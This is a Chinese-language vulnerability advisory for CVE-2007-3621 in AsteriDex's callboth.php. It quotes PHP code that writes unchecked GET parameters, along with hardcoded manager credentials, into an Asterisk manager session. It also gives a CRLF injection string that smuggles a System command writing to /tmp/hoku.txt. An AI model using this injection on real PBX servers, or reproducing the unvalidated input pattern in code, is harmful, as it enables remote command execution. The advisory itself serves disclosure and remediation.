CVE:CVE-2007-3621
CNNVD:CNNVD-200707-129
AsteriDex是Asterisk/Trixbox PBX的便携式电子电话簿。
AsteriDex的脚本处理用户请求数据时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。
AsteriDex所使用的callboth.php脚本没有充分地验证IN和OUT参数。该脚本在运行时要在本地主机5038/TCP端口登录到控制台服务器，然后发布Action: Originate命令建立桥接的呼叫，相关代码如下：
  fputs ($fp, "Action: login\r\n");
  fputs ($fp, "Username: phpagi\r\n");
  fputs ($fp, "Secret: phpagi\r\n");
  fputs ($fp, "Events: off\r\n\r\n");
  sleep(1) ;
  fputs ($fp, "Action: Originate\r\n");
  fputs ($fp, "Channel: $IN\r\n");              << Command injection
  fputs ($fp, "Context: custom-callboth\r\n");
  fputs ($fp, "Exten: $OUT\r\n");               << Command injection
  fputs ($fp, "Priority: 1\r\n\r\n");
除了测试字符串长度外没有执行任何检查便从$_GET['IN']设置了$IN，所有传送给$IN的字符串应小于100个字符，包括长度检查前附加给$IN的sip/字符串。如果$IN=123、$out=321、$CallerID=567，则会话类似于：
  Action: login
  Username: phpagi
  Secret: phpagi
  Events: off
  Action: Originate
  Channel: 123
  Context: custom-callboth
  Exten: 321
  Priority: 1
如果在$IN中包含有换行符，攻击者就可以向数据流中注入任意命令、劫持通过认证的会话运行所选择的命令。例如，包含有以下内容的$IN字符串：
190@example.com\r\nApplication: System\r\nData: echo pwn3d > /tmp/hoku.txt\r\n 
会将会话转换为：
  Action: login
  Username: phpagi
  Secret: phpagi
  Events: off
  Action: Originate
  Channel: 190@example.com
  Application: System
  Data: echo pwn3d > /tmp/hoku.txt
  Context: custom-callboth
  Exten: 321
  Priority: 1
这会使用呼叫管理器的System功能执行攻击者所提供的操作系统命令，在上述例子中可以向/tmp/hoku.txt文件写入pwn3d。重置会话会失败，因为攻击者已经破坏了原始的Action，导致其他的命令无效。"
solution:Upgrade asteridex asteridex to a higher version than 3.0,and avoid the version (,3.0]